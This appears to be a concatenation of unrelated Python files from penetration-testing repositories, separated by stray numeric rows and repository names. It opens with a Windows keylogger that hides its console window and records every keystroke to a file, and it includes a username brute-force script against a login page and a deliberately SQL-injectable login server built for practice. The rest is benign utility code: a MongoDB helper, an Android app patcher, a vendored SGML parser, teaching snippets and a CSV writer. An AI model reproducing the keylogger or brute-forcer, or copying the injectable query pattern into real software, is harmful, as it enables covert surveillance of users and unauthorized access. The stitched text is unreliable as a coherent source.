#!/usr/bin/env python import win32console import win32gui import pythoncom import pyHook # This is completely based off the code at this URL (with very minor mods) # https://github.com/blaz1988/keylogger/blob/master/keylogger.py win=win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: f=open('C:\Users\Christopher\Downloads\output.txt','r+') buffer=f.read() f.close() f=open('C:\Users\Christopher\Downloads\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() f1 = open('C:\Users\Christopher\Downloads\output.txt', 'w') f1.write('Incoming keys:\n') f1.close() hm=pyHook.HookManager() hm.KeyDown=OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
25.764706
74
0.673267
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : mongo_db.py # @Desc : "" from flask import Flask from pymongo import MongoClient from instance import config ProductionConfig = config.ProductionConfig app = Flask(__name__) app.config.from_object(ProductionConfig) db_host = app.config.get('DB_HOST') db_port = app.config.get('DB_PORT') db_username = app.config.get('DB_USERNAME') db_password = app.config.get('DB_PASSWORD') db_name = app.config.get('DB_NAME') def connectiondb(collection): client = MongoClient(db_host, db_port) db = client[db_name] db.authenticate(db_username, db_password) dbcollection = db[collection] return dbcollection def db_management(command): client = MongoClient(db_host, db_port) db = client[db_name] db.authenticate(db_username, db_password) if command == 'collection_names': result = db.collection_names() return result def db_name_conf(): asset_db = app.config.get('ASSET_DB') tasks_db = app.config.get('TASKS_DB') vul_db = app.config.get('VULNERABILITY_DB') plugin_db = app.config.get('PLUGIN_DB') config_db = app.config.get('CONFIG_DB') server_db = app.config.get('SERVER_DB') subdomain_db = app.config.get('SUBDOMAIN_DB') domain_db = app.config.get('DOMAIN_DB') weekpasswd_db = app.config.get('WEEKPASSWD_DB') port_db = app.config.get('PORT_DB') auth_db = app.config.get('AUTH_DB') search_db = app.config.get('SEARCH_DB') acunetix_db = app.config.get('ACUNETIX_DB') db_name_dict = { 'asset_db': asset_db, 'tasks_db': tasks_db, 'vul_db': vul_db, 'plugin_db': plugin_db, 'config_db': config_db, 'server_db': server_db, 'subdomain_db': subdomain_db, 'domain_db': domain_db, 'weekpasswd_db': weekpasswd_db, 'port_db': port_db, 'auth_db': auth_db, 'search_db': search_db, 'acunetix_db': acunetix_db, } return db_name_dict if __name__ == "__main__": print db_management('collection_names')
27.917808
51
0.627488
Python-Penetration-Testing-for-Developers
#brute force passwords import sys import urllib import urllib2 if len(sys.argv) !=3: print "usage: %s userlist passwordlist" % (sys.argv[0]) sys.exit(0) filename1=str(sys.argv[1]) filename2=str(sys.argv[2]) userlist = open(filename1,'r') passwordlist = open(filename2,'r') url = "http://www.vulnerablesite.com/login.html" foundusers = [] UnknownStr="Username not found" for user in userlist: for password in passwordlist: data = urllib.urlencode({"username":user}) request = urllib2.urlopen(url,data) response = request.read() if(response.find(UnknownStr)>=0) foundusers.append(user) request.close() if len(foundusers)>0: print "Found Users:\n" for name in foundusers: print name+"\n" else: print "No users found\n"
21.029412
59
0.712567
Broken-Droid-Factory
import os import random import re import randomword class patcher(): ''' An interface to be inherited by other patchers, including shared features. All patchers should also have a difficulty and a patch function (patch functions should return a string detailing what they did). ''' name = None difficulty = None working_dir = None is_verbose = False def _get_path_to_file(self, file_name_to_find, dir_to_start_search=None): if dir_to_start_search == None: dir_to_start_search = self.working_dir for subdir, dirs, files in os.walk(dir_to_start_search): for file in files: file_path = str(os.path.join(subdir, file)) if file == file_name_to_find: return file_path def _add_java_code_to_file(self, path_to_file, code_to_add_as_string, line_to_add_after='''setContentView(R.layout.activity_main);'''): lines = None with open(path_to_file, "r") as file: lines = file.readlines() line_to_add_to = 0 for line in lines: if line_to_add_after in line: line_to_add_to = line_to_add_to + 1 break line_to_add_to = line_to_add_to + 1 new_data_as_list = [code_to_add_as_string] lines_to_write = lines[:line_to_add_to] + ["\n"] + new_data_as_list + ["\n"] + lines[line_to_add_to:] with open(path_to_file, "w") as file: file.writelines(lines_to_write) def _add_imports_to_java_file(self, path_to_java_file, import_as_string): lines = None with open(path_to_java_file, "r") as file: lines = file.readlines() found_import = False for line in lines: if import_as_string in line: found_import = True if not found_import: new_data_as_list = [import_as_string] lines_to_write = [lines[0]] + ["\n"] + new_data_as_list + ["\n"] + lines[1:] with open(path_to_java_file, "w") as file: file.writelines(lines_to_write) def _get_random_java_code_block(self): var_one_identifier = "{}{}".format(str(randomword.get_random_word()).capitalize(), random.randint(0, 1000)) reflection_code_block = ['''import android.util.Log;import java.lang.reflect.Method;''', '''Method[] methods{} = this.getClass().getDeclaredMethods(); for (Method method : methods{}) {{ Log.v("{}", method.getName()); }}'''.format(var_one_identifier, var_one_identifier, randomword.get_random_word())] log_code_block = ['''import android.util.Log;''', 'Log.{}("{}","{}");'.format(random.choice(["d", "e", "i", "v", "wtf"]), randomword.get_random_word(), randomword.get_random_word())] toast_code_block = ['''import android.widget.Toast;''', '''Toast.makeText(getApplicationContext(),"{}",Toast.{}).show();'''.format( randomword.get_random_word(), random.choice(["LENGTH_SHORT", "LENGTH_LONG"]))] intent_code_block = ['''import android.content.Intent;''', '''Intent launchIntent{} = getPackageManager().getLaunchIntentForPackage("com.android.chrome"); startActivity(launchIntent{});'''.format(var_one_identifier, var_one_identifier)] code_blocks = [reflection_code_block, log_code_block, toast_code_block, intent_code_block] return random.choice(code_blocks) def get_all_current_components_from_activity_path(self, path_to_activity=None): if path_to_activity == None: path_to_activity = os.path.join(self.working_dir, "app", "src", "main", "res", "layout", "activity_main.xml") activiy_file = open(path_to_activity, "r") activity_data = activiy_file.read() activiy_file.close() ids = re.findall(r'@\+id/(.+)', activity_data) return ids def logger(self, string_to_print): if self.is_verbose: print(string_to_print) def _generate_activity_xml(self, activity_name="MainActivity"): number_of_elements = random.randint(1, 10) string_builder = '''<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".{}">'''.format(activity_name) for iterator in range(0, number_of_elements): string_builder = string_builder + "\n\n{}".format(self._generate_random_xml_activity_component()) string_builder = string_builder + "\n\n</androidx.constraintlayout.widget.ConstraintLayout>" return string_builder def _generate_random_xml_activity_component(self, id=None): if id == None: id = randomword.get_random_word() + str(random.randint(24, 400)) text_view_xml = '''<TextView android:id="@+id/textView{}" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="{}" android:textSize="{}sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" />'''.format(id, randomword.get_random_word(), random.randint(24, 400)) button_view_xml = '''<Button android:id="@+id/button{}" android:layout_width="{}dp" android:layout_height="{}dp" android:layout_marginTop="{}dp" android:text="{}" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintHorizontal_bias="0.542" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" />'''.format(id, random.randint(40, 400), random.randint(40, 400), random.randint(40, 400), randomword.get_random_word()) image_view_xml = '''<ImageView android:id="@+id/imageView{}" android:layout_width="{}dp" android:layout_height="{}dp" android:layout_marginEnd="{}dp" android:layout_marginBottom="{}dp" app:layout_constraintBottom_toTopOf="parent" app:layout_constraintEnd_toEndOf="parent" app:srcCompat="@drawable/ic_launcher_foreground" />'''.format(id, random.randint(40, 400), random.randint(40, 400), random.randint(40, 400), random.randint(40, 400)) edit_text_view_xml = '''<EditText android:id="@+id/editTextTextPersonName{}" android:layout_width="{}dp" android:layout_height="{}dp" android:layout_marginTop="{}dp" android:layout_marginBottom="{}dp" android:ems="10" android:inputType="textPersonName" android:text="{}" app:layout_constraintBottom_toTopOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" />'''.format(id, random.randint(40, 400), random.randint(40, 400), random.randint(40, 400), random.randint(40, 400), randomword.get_random_word()) list_of_views = [text_view_xml, button_view_xml, image_view_xml, edit_text_view_xml] return random.choice(list_of_views) def _replace_everywhere(self, string_to_replace, new_string): # To minimise conflicts these are done seperately # Replace file content for subdir, dirs, files in os.walk(self.working_dir): for file in files: file = str(os.path.join(subdir, file)) self._replace_in_file(file, string_to_replace, "{}".format(new_string)) # Rename files for subdir, dirs, files in os.walk(self.working_dir): for file in files: file_path = str(os.path.join(subdir, file)) if string_to_replace in file: os.rename(file_path, str(file).replace(string_to_replace, new_string)) # rename dirs for subdir, dirs, files in os.walk(self.working_dir): if string_to_replace in subdir: name_to_replace = str(subdir).replace(string_to_replace, new_string) os.rename(subdir, name_to_replace) def _replace_in_file(self, file_path, string_to_remove, string_to_replace): fin = open(file_path, "rt") try: data = fin.read() except UnicodeDecodeError: return data = data.replace(string_to_remove, string_to_replace) fin.close() fin = open(file_path, "wt") fin.write(data) fin.close() def __init__(self, name, working_dir, verbosity=False): self.name = name self.working_dir = working_dir self.is_verbose = verbosity def patch(self): raise ("A patcher has been used that does not have an implemented patch function")
43.20354
162
0.553509
PenetrationTestingScripts
# Taken from Python 2.6.4 and regexp module constants modified """A parser for SGML, using the derived class as a static DTD.""" # XXX This only supports those SGML features used by HTML. # XXX There should be a way to distinguish between PCDATA (parsed # character data -- the normal case), RCDATA (replaceable character # data -- only char and entity references and end tags are special) # and CDATA (character data -- only end tags are special). RCDATA is # not supported at all. # from warnings import warnpy3k # warnpy3k("the sgmllib module has been removed in Python 3.0", # stacklevel=2) # del warnpy3k import markupbase import re __all__ = ["SGMLParser", "SGMLParseError"] # Regular expressions used for parsing interesting = re.compile('[&<]') incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' '<([a-zA-Z][^<>]*|' '/([a-zA-Z][^<>]*)?|' '![^<>]*)?') entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') # hack to fix http://bugs.python.org/issue803422 # charref = re.compile('&#([0-9]+)[^0-9]') charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") starttagopen = re.compile('<[>a-zA-Z]') shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') piclose = re.compile('>') endbracket = re.compile('[<>]') # hack moved from _beautifulsoup.py (bundled BeautifulSoup version 2) #This code makes Beautiful Soup able to parse XML with namespaces # tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') attrfind = re.compile( r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') class SGMLParseError(RuntimeError): """Exception raised for all parse errors.""" pass # SGML parser base class -- find tags and call handler functions. # Usage: p = SGMLParser(); p.feed(data); ...; p.close(). # The dtd is defined by deriving a class which defines methods # with special names to handle tags: start_foo and end_foo to handle # <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. # (Tags are converted to lower case for this purpose.) The data # between tags is passed to the parser by calling self.handle_data() # with some data as argument (the data may be split up in arbitrary # chunks). Entity references are passed by calling # self.handle_entityref() with the entity reference as argument. class SGMLParser(markupbase.ParserBase): # Definition of entities -- derived classes may override entity_or_charref = re.compile('&(?:' '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' ')(;?)') def __init__(self, verbose=0): """Initialize and reset this instance.""" self.verbose = verbose self.reset() def reset(self): """Reset this instance. Loses all unprocessed data.""" self.__starttag_text = None self.rawdata = '' self.stack = [] self.lasttag = '???' self.nomoretags = 0 self.literal = 0 markupbase.ParserBase.reset(self) def setnomoretags(self): """Enter literal mode (CDATA) till EOF. Intended for derived classes only. """ self.nomoretags = self.literal = 1 def setliteral(self, *args): """Enter literal mode (CDATA). Intended for derived classes only. """ self.literal = 1 def feed(self, data): """Feed some data to the parser. Call this as often as you want, with as little or as much text as you want (may include '\n'). (This just saves the text, all the processing is done by goahead().) """ self.rawdata = self.rawdata + data self.goahead(0) def close(self): """Handle the remaining data.""" self.goahead(1) def error(self, message): raise SGMLParseError(message) # Internal -- handle data as far as reasonable. May leave state # and data to be processed by a subsequent call. If 'end' is # true, force handling all data as if followed by EOF marker. def goahead(self, end): rawdata = self.rawdata i = 0 n = len(rawdata) while i < n: if self.nomoretags: self.handle_data(rawdata[i:n]) i = n break match = interesting.search(rawdata, i) if match: j = match.start() else: j = n if i < j: self.handle_data(rawdata[i:j]) i = j if i == n: break if rawdata[i] == '<': if starttagopen.match(rawdata, i): if self.literal: self.handle_data(rawdata[i]) i = i+1 continue k = self.parse_starttag(i) if k < 0: break i = k continue if rawdata.startswith("</", i): k = self.parse_endtag(i) if k < 0: break i = k self.literal = 0 continue if self.literal: if n > (i + 1): self.handle_data("<") i = i+1 else: # incomplete break continue if rawdata.startswith("<!--", i): # Strictly speaking, a comment is --.*-- # within a declaration tag <!...>. # This should be removed, # and comments handled only in parse_declaration. k = self.parse_comment(i) if k < 0: break i = k continue if rawdata.startswith("<?", i): k = self.parse_pi(i) if k < 0: break i = i+k continue if rawdata.startswith("<!", i): # This is some sort of declaration; in "HTML as # deployed," this should only be the document type # declaration ("<!DOCTYPE html...>"). k = self.parse_declaration(i) if k < 0: break i = k continue elif rawdata[i] == '&': if self.literal: self.handle_data(rawdata[i]) i = i+1 continue match = charref.match(rawdata, i) if match: name = match.group(1) self.handle_charref(name) i = match.end(0) if rawdata[i-1] != ';': i = i-1 continue match = entityref.match(rawdata, i) if match: name = match.group(1) self.handle_entityref(name) i = match.end(0) if rawdata[i-1] != ';': i = i-1 continue else: self.error('neither < nor & ??') # We get here only if incomplete matches but # nothing else match = incomplete.match(rawdata, i) if not match: self.handle_data(rawdata[i]) i = i+1 continue j = match.end(0) if j == n: break # Really incomplete self.handle_data(rawdata[i:j]) i = j # end while if end and i < n: self.handle_data(rawdata[i:n]) i = n self.rawdata = rawdata[i:] # XXX if end: check for empty stack # Extensions for the DOCTYPE scanner: _decl_otherchars = '=' # Internal -- parse processing instr, return length or -1 if not terminated def parse_pi(self, i): rawdata = self.rawdata if rawdata[i:i+2] != '<?': self.error('unexpected call to parse_pi()') match = piclose.search(rawdata, i+2) if not match: return -1 j = match.start(0) self.handle_pi(rawdata[i+2: j]) j = match.end(0) return j-i def get_starttag_text(self): return self.__starttag_text # Internal -- handle starttag, return length or -1 if not terminated def parse_starttag(self, i): self.__starttag_text = None start_pos = i rawdata = self.rawdata if shorttagopen.match(rawdata, i): # SGML shorthand: <tag/data/ == <tag>data</tag> # XXX Can data contain &... (entity or char refs)? # XXX Can data contain < or > (tag characters)? # XXX Can there be whitespace before the first /? match = shorttag.match(rawdata, i) if not match: return -1 tag, data = match.group(1, 2) self.__starttag_text = '<%s/' % tag tag = tag.lower() k = match.end(0) self.finish_shorttag(tag, data) self.__starttag_text = rawdata[start_pos:match.end(1) + 1] return k # XXX The following should skip matching quotes (' or ") # As a shortcut way to exit, this isn't so bad, but shouldn't # be used to locate the actual end of the start tag since the # < or > characters may be embedded in an attribute value. match = endbracket.search(rawdata, i+1) if not match: return -1 j = match.start(0) # Now parse the data between i+1 and j into a tag and attrs attrs = [] if rawdata[i:i+2] == '<>': # SGML shorthand: <> == <last open tag seen> k = j tag = self.lasttag else: match = tagfind.match(rawdata, i+1) if not match: self.error('unexpected call to parse_starttag') k = match.end(0) tag = rawdata[i+1:k].lower() self.lasttag = tag while k < j: match = attrfind.match(rawdata, k) if not match: break attrname, rest, attrvalue = match.group(1, 2, 3) if not rest: attrvalue = attrname else: if (attrvalue[:1] == "'" == attrvalue[-1:] or attrvalue[:1] == '"' == attrvalue[-1:]): # strip quotes attrvalue = attrvalue[1:-1] attrvalue = self.entity_or_charref.sub( self._convert_ref, attrvalue) attrs.append((attrname.lower(), attrvalue)) k = match.end(0) if rawdata[j] == '>': j = j+1 self.__starttag_text = rawdata[start_pos:j] self.finish_starttag(tag, attrs) return j # Internal -- convert entity or character reference def _convert_ref(self, match): if match.group(2): return self.convert_charref(match.group(2)) or \ '&#%s%s' % match.groups()[1:] elif match.group(3): return self.convert_entityref(match.group(1)) or \ '&%s;' % match.group(1) else: return '&%s' % match.group(1) # Internal -- parse endtag def parse_endtag(self, i): rawdata = self.rawdata match = endbracket.search(rawdata, i+1) if not match: return -1 j = match.start(0) tag = rawdata[i+2:j].strip().lower() if rawdata[j] == '>': j = j+1 self.finish_endtag(tag) return j # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) def finish_shorttag(self, tag, data): self.finish_starttag(tag, []) self.handle_data(data) self.finish_endtag(tag) # Internal -- finish processing of start tag # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag def finish_starttag(self, tag, attrs): try: method = getattr(self, 'start_' + tag) except AttributeError: try: method = getattr(self, 'do_' + tag) except AttributeError: self.unknown_starttag(tag, attrs) return -1 else: self.handle_starttag(tag, method, attrs) return 0 else: self.stack.append(tag) self.handle_starttag(tag, method, attrs) return 1 # Internal -- finish processing of end tag def finish_endtag(self, tag): if not tag: found = len(self.stack) - 1 if found < 0: self.unknown_endtag(tag) return else: if tag not in self.stack: try: method = getattr(self, 'end_' + tag) except AttributeError: self.unknown_endtag(tag) else: self.report_unbalanced(tag) return found = len(self.stack) for i in range(found): if self.stack[i] == tag: found = i while len(self.stack) > found: tag = self.stack[-1] try: method = getattr(self, 'end_' + tag) except AttributeError: method = None if method: self.handle_endtag(tag, method) else: self.unknown_endtag(tag) del self.stack[-1] # Overridable -- handle start tag def handle_starttag(self, tag, method, attrs): method(attrs) # Overridable -- handle end tag def handle_endtag(self, tag, method): method() # Example -- report an unbalanced </...> tag. def report_unbalanced(self, tag): if self.verbose: print '*** Unbalanced </' + tag + '>' print '*** Stack:', self.stack def convert_charref(self, name): """Convert character reference, may be overridden.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127: return return self.convert_codepoint(n) def convert_codepoint(self, codepoint): return chr(codepoint) def handle_charref(self, name): """Handle character reference, no need to override.""" replacement = self.convert_charref(name) if replacement is None: self.unknown_charref(name) else: self.handle_data(replacement) # Definition of entities -- derived classes may override entitydefs = \ {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} def convert_entityref(self, name): """Convert entity references. As an alternative to overriding this method; one can tailor the results by setting up the self.entitydefs mapping appropriately. """ table = self.entitydefs if name in table: return table[name] else: return def handle_entityref(self, name): """Handle entity references, no need to override.""" replacement = self.convert_entityref(name) if replacement is None: self.unknown_entityref(name) else: self.handle_data(replacement) # Example -- handle data, should be overridden def handle_data(self, data): pass # Example -- handle comment, could be overridden def handle_comment(self, data): pass # Example -- handle declaration, could be overridden def handle_decl(self, decl): pass # Example -- handle processing instruction, could be overridden def handle_pi(self, data): pass # To be overridden -- handlers for unknown objects def unknown_starttag(self, tag, attrs): pass def unknown_endtag(self, tag): pass def unknown_charref(self, ref): pass def unknown_entityref(self, ref): pass class TestSGMLParser(SGMLParser): def __init__(self, verbose=0): self.testdata = "" SGMLParser.__init__(self, verbose) def handle_data(self, data): self.testdata = self.testdata + data if len(repr(self.testdata)) >= 70: self.flush() def flush(self): data = self.testdata if data: self.testdata = "" print 'data:', repr(data) def handle_comment(self, data): self.flush() r = repr(data) if len(r) > 68: r = r[:32] + '...' + r[-32:] print 'comment:', r def unknown_starttag(self, tag, attrs): self.flush() if not attrs: print 'start tag: <' + tag + '>' else: print 'start tag: <' + tag, for name, value in attrs: print name + '=' + '"' + value + '"', print '>' def unknown_endtag(self, tag): self.flush() print 'end tag: </' + tag + '>' def unknown_entityref(self, ref): self.flush() print '*** unknown entity ref: &' + ref + ';' def unknown_charref(self, ref): self.flush() print '*** unknown char ref: &#' + ref + ';' def unknown_decl(self, data): self.flush() print '*** unknown decl: [' + data + ']' def close(self): SGMLParser.close(self) self.flush() def test(args = None): import sys if args is None: args = sys.argv[1:] if args and args[0] == '-s': args = args[1:] klass = SGMLParser else: klass = TestSGMLParser if args: file = args[0] else: file = 'test.html' if file == '-': f = sys.stdin else: try: f = open(file, 'r') except IOError, msg: print file, ":", msg sys.exit(1) data = f.read() if f is not sys.stdin: f.close() x = klass() for c in data: x.feed(c) x.close() if __name__ == '__main__': test()
31.5875
79
0.506795
owtf
""" owtf.models.test_group ~~~~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Column, Integer, String from sqlalchemy.orm import relationship from owtf.db.model_base import Model class TestGroup(Model): __tablename__ = "test_groups" code = Column(String, primary_key=True) group = Column(String) # web, network descrip = Column(String) hint = Column(String, nullable=True) url = Column(String) priority = Column(Integer) plugins = relationship("Plugin") @classmethod def get_by_code(cls, session, code): """Get the test group based on plugin code :param code: Plugin code :type code: `str` :return: Test group dict :rtype: `dict` """ group = session.query(TestGroup).get(code) return group.to_dict() @classmethod def get_all(cls, session): """Get all test groups from th DB :return: :rtype: """ test_groups = session.query(TestGroup).order_by(TestGroup.priority.desc()).all() dict_list = [] for obj in test_groups: dict_list.append(obj.to_dict()) return dict_list
23.723404
88
0.596899
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 a=22;b=44;c=55;d=None if a and b and c and d: print("Not printed") else: print('Remember and operator -> All must evaluate to True !') if a == b: print("A and B are equal") else: print("A and B are not equal ! But we saw how to use == :)") print("\nLets use some Bit wise operators with condition statements :\n") a=2;b=2;c=0 bit_wise=a & b & c if bit_wise: print("Bit wise and returned non zero %s"%bit_wise) else: print("Bit wise and returned zero : %s"%bit_wise) bit_wise=a&b if bit_wise: print("Now Bit wise and returned non zero : %s"%bit_wise) else: print("Again Bit wise and returned zero : %s"%bit_wise) bit_wise_or = a | c if bit_wise_or: print("BIt wise OR - Should return 2 -> %s"%bit_wise_or) else: print("Thats strange !! -> %s"%bit_wise_or) left_shift= a << b if left_shift: print("Remember Left shift has multiplication impact. -> %s"%left_shift) else: print("Thats strange !! -> %s"%left_shift) right_shift= a >> b if right_shift: print("Thats strange !! -> %s"%right_shift) else: print("Remember Right shift has division impact. -> %s"%right_shift) neg_minus_1= ~ a if neg_minus_1 : print("~ operator has (-n-1) impact - (-n-1) for %s -> %s "%(a,neg_minus_1)) else: print("~ operator has (-n-1) impact - Produced 0 -> %s"%neg_minus_1)
25
77
0.65127
Ethical-Hacking-Scripts
import sqlite3, socket, threading, sys class WebServer: def __init__(self): self.logo() self.valid = False self.name_list = ["admin adminpassword123456", "bobby cheeseburger69", "david 19216801", "mine craft", "jerry password", "tom jerry"] self.names = ["admin","bobby","david","mine","jerry","tom"] self.passwords = ["adminpassword123456", "cheeseburger69", "19216801", "craft", "password", "jerry"] try: self.ip = sys.argv[1] self.port = int(sys.argv[2]) self.dbfile = "users.db" try: file = open(self.dbfile,"r") except: file = open(self.dbfile,"w") db = sqlite3.connect(self.dbfile) cursor = db.cursor() try: cursor.execute("select * from users") except: cursor.execute("create table users(name, password, logins)") try: for i in self.name_list: cursor.execute(f"delete from users where name = '{i.split()[0]}'") except: pass for i in self.name_list: cursor.execute(f"insert into users values('{i.split()[0]}', '{i.split()[1]}', '0')") print(f"\n[+] Try to break into these accounts via SQL Injection: {self.names}") print(f"[+] In case you give up, here are the passwords to the accounts: {self.passwords}\n") try: self.externalip = sys.argv[3] except Exception as e: self.externalip = self.ip self.valid = True db.commit() cursor.close() db.close() except Exception as e: print("[+] Invalid Arguments!\n[+] Usage: python3 VulnerableServer.py <ip> <port> <externalip>\n[+] Note: The External IP argument is optional.") if self.valid: try: self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.bind((self.ip, self.port)) self.msgs = [] self.packet = self.gen_packet() print(f"[+] Vulnerable SQL Web Server Started on: {self.ip}:{self.port}") except Exception as e: print(f"[+] Server Cannot be started due to Error: {e}") self.valid = False def logo(self): print(""" __ __ _ _ _ _____ ____ _ _____ __ ___ \ \ / / | | | | | | / ____|/ __ \| | / ____| /_ | / _ \ \ \ / / _| |_ __ ___ _ __ __ _| |__ | | ___| (___ | | | | | | (___ ___ _ ____ _____ _ __ __ _| || | | | \ \/ / | | | | '_ \ / _ \ '__/ _` | '_ \| |/ _ \ ___ \| | | | | \___ \ / _ \ '__\ \ / / _ \ '__| \ \ / / || | | | \ /| |_| | | | | | __/ | | (_| | |_) | | __/____) | |__| | |____ ____) | __/ | \ V / __/ | \ V /| || |_| | \/ \__,_|_|_| |_|\___|_| \__,_|_.__/|_|\___|_____/ \___\_\______| |_____/ \___|_| \_/ \___|_| \_/ |_(_)___/ Vulnerable Web Server made for Testing SQL Injections by DrSquid""") def gen_packet(self, sqlquery="", script=""): packet = f""" <title>Vulnerable SQL Web Server</title> <h1>Horrific Looking Login Page</h1> This is a horrible looking login page. It is meant to be vulnerable to SQL Injections. <form action="http://{self.externalip}:{self.port}"> <input type="text" placeholder="Username" name="name"> <h1></h1> <input type="password" placeholder="Password" name="password"> <input type="submit" value="Log in"> <h4>Sql Query: {sqlquery}</h4> </form> {script} """ return packet def listen(self): if self.valid: try: print("[+] Server is listening For Connections.....") if self.externalip != self.ip: print(f"[+] Also listening on(for external connections): {self.externalip}:{self.port}") print("") while True: ipaddr = "" self.server.listen() conn, ip = self.server.accept() self.packet = self.gen_packet() msg = conn.recv(1024).decode() item = 0 msg_split = msg.split() for i in msg_split: if 'x-forwarded-for' in i.lower(): ipaddr = msg_split[item + 1] break item += 1 if ipaddr == "": ipaddr = ip[0] print(f"[+] {ipaddr} has connected.") handler = threading.Thread(target=self.handler, args=(conn, msg, ipaddr)) handler.start() except: pass def simplify_str(self, item): return item.replace("+", " ").replace("%3C", "<").replace("%3E", ">").replace( "%2F", "/").replace("%22", '"').replace("%27", "'").replace("%3D", "=").replace("%2B", "+").replace("%3A", ":").replace("%28", "(").replace("%29", ")").replace("%2C", "," ).replace("%3B", ";").replace("%20", " ").replace("%3F", "?").replace("%5C", "\\" ).replace("%7B", "{").replace("%7D", "}").replace("%24", "$").replace("%0D", "\n" ).replace("%0A", " ").replace("%40","@").replace("%25", "%") def authenticate(self, query): db = sqlite3.connect(self.dbfile) cursor = db.cursor() cursor.execute(query) item = cursor.fetchall() if len(item) >= 1: return True else: return False def handler(self, conn, msg, ip): try: conn.send('HTTP/1.0 200 OK\n'.encode()) conn.send('Content-Type: text/html\n'.encode()) if "/?name=" in msg.split()[1] and "password" in msg.split()[1]: try: username = self.simplify_str(str(msg).split()[1].split("=")[1].replace("&password","")).lower() password = self.simplify_str(str(msg).split()[1].split("=")[2]).lower() script = "" if username.strip() == "" or password.strip() == "": conn.send(self.packet.encode()) else: query = f"select * from users where name = '{username}' and password = '{password}'" if self.authenticate(query): script = "<script>alert('Logged in!')</script>" print(f"[+] {ip} has logged into '{username}' with '{password}'.") else: script = "<script>alert('Invalid Name or Password.')</script>" print(f"[+] {ip} had attempted to login to '{username}' with '{password}' but failed.") packet = self.gen_packet(sqlquery=query, script=script) conn.send(packet.encode()) except Exception as e: print(f"[+] Error: {e}") packet = self.gen_packet(sqlquery=query, script=script) conn.send(packet.encode()) else: conn.send(self.packet.encode()) conn.close() except: pass e = WebServer() e.listen()
48.302632
157
0.438943
cybersecurity-penetration-testing
import csv import os import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def csvWriter(output_data, headers, output_dir, output_name): """ The csvWriter function uses the csv.DictWriter module to write the list of dictionaries. The DictWriter can take a fieldnames argument, as a list, which represents the desired order of columns. :param output_data: The list of dictionaries containing embedded metadata. :param headers: A list of keys in the dictionary that represent the desired order of columns in the output. :param output_dir: The folder to write the output CSV to. :param output_name: The name of the output CSV. :return: """ msg = 'Writing ' + output_name + ' CSV output.' print '[+]', msg logging.info(msg) with open(os.path.join(output_dir, output_name), 'wb') as outfile: # We use DictWriter instead of Writer to write dictionaries to CSV. writer = csv.DictWriter(outfile, fieldnames=headers) # Writerheader writes the header based on the supplied headers object writer.writeheader() for dictionary in output_data: if dictionary: writer.writerow(dictionary)
37.90625
111
0.687299
Mastering-Machine-Learning-for-Penetration-Testing
